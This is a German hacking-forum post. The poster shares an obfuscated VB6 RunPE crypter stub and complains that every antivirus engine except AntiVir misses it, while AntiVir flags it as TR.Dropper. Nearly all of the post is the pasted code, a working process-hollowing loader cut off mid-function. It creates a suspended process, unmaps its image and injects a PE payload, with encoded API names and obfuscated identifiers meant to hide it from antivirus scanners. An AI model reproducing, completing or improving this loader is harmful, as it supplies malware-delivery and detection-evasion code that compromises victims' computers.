RunPe wird als Tr.Dropper erkannt ?!

Howdi,
hab mir meine RunPe jetzt komplett verschlüsselt,
alle Strings verschlüsselt + API's verschlüsselt + Vars geändert.

Es ist alles UD bis auf AntiVir erkennt TR.Dropper.

Hier mal der code:

Code:

---

Option Explicit

Private Const fgvgbhjutfghu345t7fzgdhDCFGVH      As Long = &H5A4D&
Private Const ghjZGHJUHZGVHBJHZGz57uHGJK        As Long = &H4550&

Private Const fvgbhZGFVBNHGFD5678uhvBNHGFD          As Long = &H40
Private Const tZUJHBVFghjzt4567uhgFDCVBH          As Long = &HF8
Private Const tzujBVFRGHJHGFder45tzGFVBNHJ    As Long = &H28
Private Const RTZUJHGfdsertgz6545678uHGFDFGH As Long = &H28

Private Const DFGFVBHGVGe4567zgfde456zh              As Long = &H10007
Private Const EFghjnbvcdE8765rTGHBVCFDRFTZH          As Long = &H4
Private Const gfderTZGHJUZTRe4567ujhGFGh                As Long = &H1000
Private Const RTZUJhgfde45678ijhgt678ujh              As Long = &H2000
Private Const iuztdFGHUZTREtz67u765rf    As Long = &H40

Private Declare Sub WEDFghbtfvrde4567icvghbun Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)

Private IJjuztgzgr54678fUGVCz765ftz        As Long
Private qwtzukhgUFGDZTr74fuzgvI      As Long
Private OIHnouzFVU65e7dZGV        As Boolean
Private IctfguzctzutFUzvu567          As Long
Private Uczfuz67zgiuUcz6789      As Long
Private Utgvuzgvzdt7658tfIGUH(&HFF)  As Byte

Private Type RTZtrfdfghzt4567uztgfrdghzu
    sadfg34sdfgsscxvtFFASDF3                          As Long
    lpReserved                  As Long
    lpDesktop                  As Long
    lpTitle                    As Long
    dwX                        As Long
    dwY                        As Long
    dwXSize                    As Long
    dwYSize                    As Long
    dwXCountChars              As Long
    dwYCountChars              As Long
    dwFillAttribute            As Long
    dwFlags                    As Long
    wShowWindow                As Integer
    cbReserved2                As Integer
    lpReserved2                As Long
    hStdInput                  As Long
    hStdOutput                  As Long
    hStdError                  As Long
End Type

Private Type WERTZujhgbfde345678i9765rttfgh
    sdfg3qwert34hggdfx43cv42rfsdg                    As Long
    sdfg3qwert34ahggdfx43cv42rfsdg                    As Long
    sdfg3qwert34aashggedfx43cv42rfsdg                As Long
    sdfg3qwert34ahggedfx43cv42rfsdg                  As Long
End Type

Private Type RTZUZHGFd4567uzhgfgvbhj
    sdfg3qwert34a23ashggedfx43cv42rfsdg                As Long
    sdfg3qwasd3cv42rfsdg                  As Long
    sdfg3qwasdsdf3cv42rfsdg                    As Long
    ErrorOffset                As Long
    ErrorSelector              As Long
    DataOffset                  As Long
    DataSelector                As Long
    RegisterArea(1 To 80)      As Byte
    Cr0NpxState                As Long
End Type

Private Type dfgsrfghjz6asdasdf5ght7ghtzr676
    sdfg3qwasdasdfsdf3cv42rfsdg                As Long
    Dr0                        As Long
    Dr1                        As Long
    Dr2                        As Long
    Dr3                        As Long
    Dr6                        As Long
    Dr7                        As Long
    FloatSave                  As RTZUZHGFd4567uzhgfgvbhj
    SegGs                      As Long
    SegFs                      As Long
    SegEs                      As Long
    SegDs                      As Long
    Edi                        As Long
    Esi                        As Long
    sadfg34324sdsdasdgssd3scxvtFFASDF3                        As Long
    Edx                        As Long
    Ecx                        As Long
    afasdfUIZRFi7fi6rfigu76tf                        As Long
    Ebp                        As Long
    Eip                        As Long
    SegCs                      As Long
    EFlags                      As Long
    Esp                        As Long
    SegSs                      As Long
End Type

Private Type QWERTZUI456789asdfghj98765dcfg
    sdf234sfdfsdfsdf3ascv42rfsdg                    As Integer
    e_cblp                      As Integer
    e_cp                        As Integer
    e_crlc                      As Integer
    e_cparhdr                  As Integer
    e_minalloc                  As Integer
    e_maxalloc                  As Integer
    e_ss                        As Integer
    e_sp                        As Integer
    e_csum                      As Integer
    e_ip                        As Integer
    e_cs                        As Integer
    e_lfarlc                    As Integer
    e_ovno                      As Integer
    e_res(0 To 3)              As Integer
    e_oemid                    As Integer
    e_oeminfo                  As Integer
    e_res2(0 To 9)              As Integer
    sadfg34tFFASDF3                    As Long
End Type

Private Type OIUZTR6578JHGFD34567
    Machine                    As Integer
    sdfg3sdasddjhdhggdfxcv42rfsdg            As Integer
    TimeDateStamp              As Long
    PointerToSymbolTable        As Long
    NumberOfSymbols            As Long
    SizeOfOptionalHeader        As Integer
    Characteristics            As Integer
End Type

Private Type NJUZHB456TFdfgh
    sadfg34sdfgssd3scxvtFFASDF3              As Long
    afasdfUI435345345ZRFi7fi6rfigu76tf                        As Long
End Type

Private Type tghbZH7uj4rfg67zujh
    Magic                      As Integer
    MajorLinkerVersion          As Byte
    MinorLinkerVersion          As Byte
    SizeOfCode                  As Long
    SizeOfInitializedData      As Long
    SizeOfUnitializedData      As Long
    sdfg3qwasas234dasadfsdf3cv42rfsdg        As Long
    BaseOfCode                  As Long
    BaseOfData                  As Long
    sdfg3s5345dasddjhdhggdfxcv42rfsdg                  As Long
    SectionAlignment            As Long
    FileAlignment              As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion          As Integer
    MinorImageVersion          As Integer
    MajorSubsystemVersion      As Integer
    MinorSubsystemVersion      As Integer
    W32VersionValue            As Long
    sdfg3asds5345dasddjhdhggdfxcv42rfsdg                As Long
    sdfg3qwert34hggdfxcv42rfsdg              As Long
    CheckSum                    As Long
    SubSystem                  As Integer
    DllCharacteristics          As Integer
    SizeOfStackReserve          As Long
    SizeOfStackCommit          As Long
    SizeOfHeapReserve          As Long
    SizeOfHeapCommit            As Long
    LoaderFlags                As Long
    NumberOfRvaAndSizes        As Long
    sdf234sfdfsdf3cv42rfsdg(0 To 15)      As NJUZHB456TFdfgh
End Type

Private Type vgcfdreDRFTZGh456ftgz67GHJ
    sdfg3qwas234dasdfsdf3cv42rfsdg                  As Long
    sdfg3sdasdfsd4F4ta56ezhgdfxcv42rfsdg                  As OIUZTR6578JHGFD34567
    sdfg3qwas234dasadfsdf3cv42rfsdg              As tghbZH7uj4rfg67zujh
End Type

Private Type QWedfghjNBGF434567ZGFH
  Characteristics              As Long
  TimeDateStamp                As Long
  MajorVersion                As Integer
  MinorVersion                As Integer
  lpName                      As Long
  Base                        As Long
  NumberOfFunctions            As Long
  sdf234sfdfsdf3ascv42rfsdg                As Long
  afasdfUI43w234er23r4dfZRFi7fi6rfigu76tf        As Long
  afasdfUI4353sdf45345ZRFi7fi6rfigu76tf            As Long
  afasdfUI43wer23r4dfZRFi7fi6rfigu76tf      As Long
End Type

Private Type POIUZhj4567zgFVCDFGh
    SecName                    As String * 8
    VirtualSize                As Long
    sadfg34sdfgssd3scxvtFFASDF3              As Long
    sadfg34324sdsdgssd3scxvtFFASDF3              As Long
    sadfg34324sdfgssd3scxvtFFASDF3            As Long
    PointerToRelocations        As Long
    PointerToLinenumbers        As Long
    NumberOfRelocations        As Integer
    NumberOfLinenumbers        As Integer
    Characteristics            As Long
End Type
       
Public Function sdfg34F4ta56ezhgdfxcv42rfsdg() As Long
    'This function will be replaced with machine code laterz
    'Do not add any public procedure on top of it
End Function

Private Function sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg() As Long
    WEDFghbtfvrde4567icvghbun IctfguzctzutFUzvu567, ByVal ObjPtr(Me), &H4
    IctfguzctzutFUzvu567 = IctfguzctzutFUzvu567 + &H1C
    WEDFghbtfvrde4567icvghbun Uczfuz67zgiuUcz6789, ByVal IctfguzctzutFUzvu567, &H4
    WEDFghbtfvrde4567icvghbun ByVal IctfguzctzutFUzvu567, VarPtr(Utgvuzgvzdt7658tfIGUH(0)), &H4
    sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg = sdfg34F4ta56ezhgdfxcv42rfsdg
    WEDFghbtfvrde4567icvghbun ByVal IctfguzctzutFUzvu567, Uczfuz67zgiuUcz6789, &H4
End Function

Public Function sdfg34F4tsdfDAF3sdfsdfxcv42rfsdg(ByVal sdfg34FsdfDAF3sdfsdfxcv42rfsdg As String, ByVal dfgsrt43afd454frtz6asdf5ght7ghtzr676 As String) As Long
    sdfg34F4tsdfDAF3sdfsdfxcv42rfsdg = Me.dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(Me.sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(sdfg34FsdfDAF3sdfsdfxcv42rfsdg), dfgsrt43afd454frtz6asdf5ght7ghtzr676)
End Function

Public Function sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(ByVal sdfg34FsdfDAF3sdfsdfxcv42rfsdg As String) As Long
    sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg = sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg(qwtzukhgUFGDZTr74fuzgvI, StrPtr(sdfg34FsdfDAF3sdfsdfxcv42rfsdg & vbNullChar))
End Function

Public Function dfgsrfghjzeztu56uzFf5ght7ghtzr676(ByRef sdfg34F4tasdrtg5454eruzdfxcv42rfsdg() As Byte, Optional sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg As String) As Boolean
    Dim rtgzhRfDFf3467gTRhf5CFGV                      As Long
    Dim rtgzhRDFgZGvt354fcrd567gTRCFGV      As QWERTZUI456789asdfghj98765dcfg
    Dim rtgzhRDFgZ6Gvt354fcrd567gTRCFGV      As vgcfdreDRFTZGh456ftgz67GHJ
    Dim dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676  As POIUZhj4567zgFVCDFGh
    Dim dfgsrf34tfghjzeztu67ujhgght7ghtzr676            As RTZtrfdfghzt4567uztgfrdghzu
    Dim dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676    As WERTZujhgbfde345678i9765rttfgh
    Dim sdfg34FDAF32rfsdg                As dfgsrfghjz6asdasdf5ght7ghtzr676
    Dim sdfg34FsdfDAF32rfsdg                As Long
    Dim sdfg34FsdfDAF3sdfxcv42rfsdg                  As Long
    Dim dfgsrt4354frtz6asdf5ght7ghtzr676                    As Long

    Call WEDFghbtfvrde4567icvghbun(rtgzhRDFgZGvt354fcrd567gTRCFGV, sdfg34F4tasdrtg5454eruzdfxcv42rfsdg(0), fvgbhZGFVBNHGFD5678uhvBNHGFD)
   
    If Not rtgzhRDFgZGvt354fcrd567gTRCFGV.sdf234sfdfsdfsdf3ascv42rfsdg = fgvgbhjutfghu345t7fzgdhDCFGVH Then
        Exit Function
    End If

    Call WEDFghbtfvrde4567icvghbun(rtgzhRDFgZ6Gvt354fcrd567gTRCFGV, sdfg34F4tasdrtg5454eruzdfxcv42rfsdg(rtgzhRDFgZGvt354fcrd567gTRCFGV.sadfg34tFFASDF3), tZUJHBVFghjzt4567uhgFDCVBH)
   
    If Not rtgzhRDFgZ6Gvt354fcrd567gTRCFGV.sdfg3qwas234dasdfsdf3cv42rfsdg = ghjZGHJUHZGVHBJHZGz57uHGJK Then
        Exit Function
    End If
   
    sdfg34FsdfDAF32rfsdg = sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("wq~zqx?>"))
    sdfg34FsdfDAF3sdfxcv42rfsdg = sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("z€pxx"))
   
    If sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg = vbNullString Then
        sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg = Space(260)
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF32rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Sq€Y{pxqRuxqZmyqc"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, App.hInstance, StrPtr(sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg), 260
    End If
   
    With rtgzhRDFgZ6Gvt354fcrd567gTRCFGV.sdfg3qwas234dasadfsdf3cv42rfsdg
       
        dfgsrf34tfghjzeztu67ujhgght7ghtzr676.sadfg34sdfgsscxvtFFASDF3 = Len(dfgsrf34tfghjzeztu67ujhgght7ghtzr676)
           
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF32rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("O~qm€q\~{oqc"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, 0, StrPtr(sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg), 0, 0, 0, EFghjnbvcdE8765rTGHBVCFDRFTZH, 0, 0, VarPtr(dfgsrf34tfghjzeztu67ujhgght7ghtzr676), VarPtr(dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676)

        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF3sdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Z€azym|buqƒ[r_qo€u{z"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34hggdfx43cv42rfsdg, .sdfg3s5345dasddjhdhggdfxcv42rfsdg
       
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF32rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("bu~€mxMxx{oQ„"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34hggdfx43cv42rfsdg, .sdfg3s5345dasddjhdhggdfxcv42rfsdg, .sdfg3asds5345dasddjhdhggdfxcv42rfsdg, gfderTZGHJUZTRe4567ujhGFGh Or RTZUJhgfde45678ijhgt678ujh, iuztdFGHUZTREtz67u765rf
       
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF32rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("c~u€q\~{oqYqy{~…"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34hggdfx43cv42rfsdg, .sdfg3s5345dasddjhdhggdfxcv42rfsdg, VarPtr(sdfg34F4tasdrtg5454eruzdfxcv42rfsdg(0)), .sdfg3qwert34hggdfxcv42rfsdg, 0
   
        For rtgzhRfDFf3467gTRhf5CFGV = 0 To rtgzhRDFgZ6Gvt354fcrd567gTRCFGV.sdfg3sdasdfsd4F4ta56ezhgdfxcv42rfsdg.sdfg3sdasddjhdhggdfxcv42rfsdg - 1
            WEDFghbtfvrde4567icvghbun dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676, sdfg34F4tasdrtg5454eruzdfxcv42rfsdg(rtgzhRDFgZGvt354fcrd567gTRCFGV.sadfg34tFFASDF3 + tZUJHBVFghjzt4567uhgFDCVBH + RTZUJHGfdsertgz6545678uHGFDFGH * rtgzhRfDFf3467gTRhf5CFGV), Len(dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676)
            sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34hggdfx43cv42rfsdg, .sdfg3s5345dasddjhdhggdfxcv42rfsdg + dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676.sadfg34sdfgssd3scxvtFFASDF3, VarPtr(sdfg34F4tasdrtg5454eruzdfxcv42rfsdg(dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676.sadfg34324sdfgssd3scxvtFFASDF3)), dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676.sadfg34324sdsdgssd3scxvtFFASDF3, 0
        Next rtgzhRfDFf3467gTRhf5CFGV

        sdfg34FDAF32rfsdg.sdfg3qwasdasdfsdf3cv42rfsdg = DFGFVBHGVGe4567zgfde456zh
       
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF3sdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Z€Sq€O{z€q„€`t~qmp"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34ahggdfx43cv42rfsdg, VarPtr(sdfg34FDAF32rfsdg)
   
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF32rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("c~u€q\~{oqYqy{~…"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34hggdfx43cv42rfsdg, sdfg34FDAF32rfsdg.sadfg34324sdsdasdgssd3scxvtFFASDF3 + 8, VarPtr(.sdfg3s5345dasddjhdhggdfxcv42rfsdg), 4, 0
     
        sdfg34FDAF32rfsdg.afasdfUIZRFi7fi6rfigu76tf = .sdfg3s5345dasddjhdhggdfxcv42rfsdg + .sdfg3qwasas234dasadfsdf3cv42rfsdg
       
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF3sdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Z€_q€O{z€q„€`t~qmp"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34ahggdfx43cv42rfsdg, VarPtr(sdfg34FDAF32rfsdg)
       
        dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF3sdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Z€^qyq`t~qmp"))
        sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34ahggdfx43cv42rfsdg, 0
    End With
   
    dfgsrfghjzeztu56uzFf5ght7ghtzr676 = True
   
End Function

Public Function sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg(ByVal dfgsrt4354frtz6asdf5ght7ghtzr676 As Long, ParamArray sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg()) As Long
    Dim sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg        As Long
    Dim rtgzhRfDFf3467gTRhf5CFGV          As Long
    Dim sdfg34F4tasdfwe45dseruzdfxcv42rfsdg      As String
    Dim sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg    As String
   
    If dfgsrt4354frtz6asdf5ght7ghtzr676 = 0 Then Exit Function
   
    For rtgzhRfDFf3467gTRhf5CFGV = UBound(sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg) To 0 Step -1
        sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg = sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg & sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("BD") & sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg(CLng(sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg(rtgzhRfDFf3467gTRhf5CFGV)))
    Next
   
    sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg = VarPtr(Utgvuzgvzdt7658tfIGUH(0))
    sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg = sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg + (UBound(sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg) + 2) * 5
    sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg = dfgsrt4354frtz6asdf5ght7ghtzr676 - sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg - 5
   
    sdfg34F4tasdfwe45dseruzdfxcv42rfsdg = sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("DN@O>@<DA=H\M`OT=JQDH\M`OT>JAEDE<=BB?=O<O?")
    sdfg34F4tasdfwe45dseruzdfxcv42rfsdg = Replace(sdfg34F4tasdfwe45dseruzdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("H\M`OT=J"), sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg)
    sdfg34F4tasdfwe45dseruzdfxcv42rfsdg = Replace(sdfg34F4tasdfwe45dseruzdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("H\M`OT>J"), sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg(sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg))
   
    Call sdfg34F4t63465dfDAF3sdfsdfxcv42rfsdg(sdfg34F4tasdfwe45dseruzdfxcv42rfsdg)
   
    sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg = sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg
End Function

Private Function rtgzhRDFZGvtfcrd567gTRCFGV(ByVal UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI As Long, ByRef ZTgcvuztdx756dZTCFDgzf568tg As Long, ByRef ztciugbvuzDREZrt7685tfvigb As String)
     
    Dim dfgsrtshtgh675frtz65ght7ghtzr676    As String

    dfgsrtshtgh675frtz65ght7ghtzr676 = rtgzhRDFZGvt354fcrd567gTRCFGV(UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI)
    If InStr(1, dfgsrtshtgh675frtz65ght7ghtzr676, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg(":")) Then
        ZTgcvuztdx756dZTCFDgzf568tg = sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(Split(dfgsrtshtgh675frtz65ght7ghtzr676, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg(":"))(0))
        ztciugbvuzDREZrt7685tfvigb = Split(dfgsrtshtgh675frtz65ght7ghtzr676, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg(":"))(1)
    End If
   
End Function

Private Function rtgzhRDFZGvt354fcrd567gTRCFGV(ByVal UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI As Long) As String
     
    Dim dfgsrt4354frtz65ght7ghtzr676      As Byte
   
    Do
        WEDFghbtfvrde4567icvghbun dfgsrt4354frtz65ght7ghtzr676, ByVal UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI, 1
        UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI = UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI + 1
        If dfgsrt4354frtz65ght7ghtzr676 = 0 Then Exit Do
        rtgzhRDFZGvt354fcrd567gTRCFGV = rtgzhRDFZGvt354fcrd567gTRCFGV & Chr$(dfgsrt4354frtz65ght7ghtzr676)
    Loop
   
End Function

Private Function sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg(ByVal sdfg34F4t6sdfg65dfDAF3sdfsdfxcv42rfsdg As Long) As String
    Dim sdfg34F4t6sdfg65dseruzdfxcv42rfsdg(3)  As Byte
    Dim rtgzhRfDFf3467gTRhf5CFGV          As Long
   
    WEDFghbtfvrde4567icvghbun sdfg34F4t6sdfg65dseruzdfxcv42rfsdg(0), sdfg34F4t6sdfg65dfDAF3sdfsdfxcv42rfsdg, &H4
    For rtgzhRfDFf3467gTRhf5CFGV = 0 To 3
        sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg = sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg & Right(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("<") & Hex(sdfg34F4t6sdfg65dseruzdfxcv42rfsdg(rtgzhRfDFf3467gTRhf5CFGV)), 2)
    Next
End Function

Private Sub sdfg34F4t63465dfDAF3sdfsdfxcv42rfsdg(ByVal sdfg34F4t623233465dfDAF3sdfsdfxcv42rfsdg As String)
    Dim rtgzhRfDFf3467gTRhf5CFGV  As Long
    For rtgzhRfDFf3467gTRhf5CFGV = 0 To Len(sdfg34F4t623233465dfDAF3sdfsdfxcv42rfsdg) - 1 Step 2
        Utgvuzgvzdt7658tfIGUH((rtgzhRfDFf3467gTRhf5CFGV / 2)) = CByte(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("2t") & Mid$(sdfg34F4t623233465dfDAF3sdfsdfxcv42rfsdg, rtgzhRfDFf3467gTRhf5CFGV + 1, 2))
    Next
End Sub

Public Sub Class_Initialize()

    Call sdfg34F4t63465dfDAF3sdfsdfxcv42rfsdg(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("DNAO>@<DA@ND?<<<<<<<B@DN<<DN@<<ODN@<=ODN<<DN@<<DDE<?AO?=O<O?"))
   
    IJjuztgzgr54678fUGVCz765ftz = sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg
   
    If Not IJjuztgzgr54678fUGVCz765ftz = 0 Then
        qwtzukhgUFGDZTr74fuzgvI = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(IJjuztgzgr54678fUGVCz765ftz, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("X{mpXun~m~…c"))
        If Not qwtzukhgUFGDZTr74fuzgvI = 0 Then
            OIHnouzFVU65e7dZGV = True
        End If
    End If
End Sub

Public Function dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(ByVal dfgsrt4354frtz6asdf5ght7ghtzr676 As Long, ByVal dfgsrt43afd454frtz6asdf5ght7ghtzr676 As String) As Long
    Dim rtgzhRDFgZGvt354fcrd567gTRCFGV      As QWERTZUI456789asdfghj98765dcfg
    Dim rtgzhRDFgZ6Gvt354fcrd567gTRCFGV      As vgcfdreDRFTZGh456ftgz67GHJ
    Dim rtgzhRfDFgZ6Gvt354fcrd567gTRCFGV As QWedfghjNBGF434567ZGFH
   
    Call WEDFghbtfvrde4567icvghbun(rtgzhRDFgZGvt354fcrd567gTRCFGV, ByVal dfgsrt4354frtz6asdf5ght7ghtzr676, fvgbhZGFVBNHGFD5678uhvBNHGFD)
   
    If Not rtgzhRDFgZGvt354fcrd567gTRCFGV.sdf234sfdfsdfsdf3ascv42rfsdg = fgvgbhjutfghu345t7fzgdhDCFGVH Then
        Exit Function
    End If

    Call WEDFghbtfvrde4567icvghbun(rtgzhRDFgZ6Gvt354fcrd567gTRCFGV, ByVal dfgsrt4354frtz6asdf5ght7ghtzr676 + rtgzhRDFgZGvt354fcrd567gTRCFGV.sadfg34tFFASDF3, tZUJHBVFghjzt4567uhgFDCVBH)
   
    If Not rtgzhRDFgZ6Gvt354fcrd567gTRCFGV.sdfg3qwas234dasdfsdf3cv42rfsdg = ghjZGHJUHZGVHBJHZGz57uHGJK Then
        Exit Function
    End If
   
    Dim rtgzhRfDFfghd567gTRCFGV  As Long
    Dim rtgzhRfDFfghd567gTRhf5CFGV      As Long
    Dim rtgzhRfDFfghd54567gTRhf5CFGV      As Long
   
    With rtgzhRDFgZ6Gvt354fcrd567gTRCFGV.sdfg3qwas234dasadfsdf3cv42rfsdg
        rtgzhRfDFfghd567gTRCFGV = dfgsrt4354frtz6asdf5ght7ghtzr676 + .sdf234sfdfsdf3cv42rfsdg(0).sadfg34sdfgssd3scxvtFFASDF3
        rtgzhRfDFfghd567gTRhf5CFGV = rtgzhRfDFfghd567gTRCFGV + .sdf234sfdfsdf3cv42rfsdg(0).afasdfUI435345345ZRFi7fi6rfigu76tf
        rtgzhRfDFfghd54567gTRhf5CFGV = .sdfg3s5345dasddjhdhggdfxcv42rfsdg
    End With
   
    Call WEDFghbtfvrde4567icvghbun(rtgzhRfDFgZ6Gvt354fcrd567gTRCFGV, ByVal rtgzhRfDFfghd567gTRCFGV, tzujBVFRGHJHGFder45tzGFVBNHJ)
     
    Dim rtgzhRfDFf3467gTRhf5CFGV          As Long
    Dim rtgzhRfDFf34dfzgh6TRhf5CFGV  As Long
    Dim dfgsrtshtgh675ghtzr676    As Long
    Dim dfgsrtshtgh675fght7ghtzr676    As Long

    With rtgzhRfDFgZ6Gvt354fcrd567gTRCFGV
        For rtgzhRfDFf3467gTRhf5CFGV = 0 To .sdf234sfdfsdf3ascv42rfsdg - 1
         
            WEDFghbtfvrde4567icvghbun dfgsrtshtgh675ghtzr676, ByVal rtgzhRfDFfghd54567gTRhf5CFGV + .afasdfUI4353sdf45345ZRFi7fi6rfigu76tf + rtgzhRfDFf3467gTRhf5CFGV * 4, 4
           
            If rtgzhRDFZGvt354fcrd567gTRCFGV(rtgzhRfDFfghd54567gTRhf5CFGV + dfgsrtshtgh675ghtzr676) = dfgsrt43afd454frtz6asdf5ght7ghtzr676 Then
                WEDFghbtfvrde4567icvghbun dfgsrtshtgh675fght7ghtzr676, ByVal rtgzhRfDFfghd54567gTRhf5CFGV + .afasdfUI43wer23r4dfZRFi7fi6rfigu76tf + rtgzhRfDFf3467gTRhf5CFGV * 2, 2
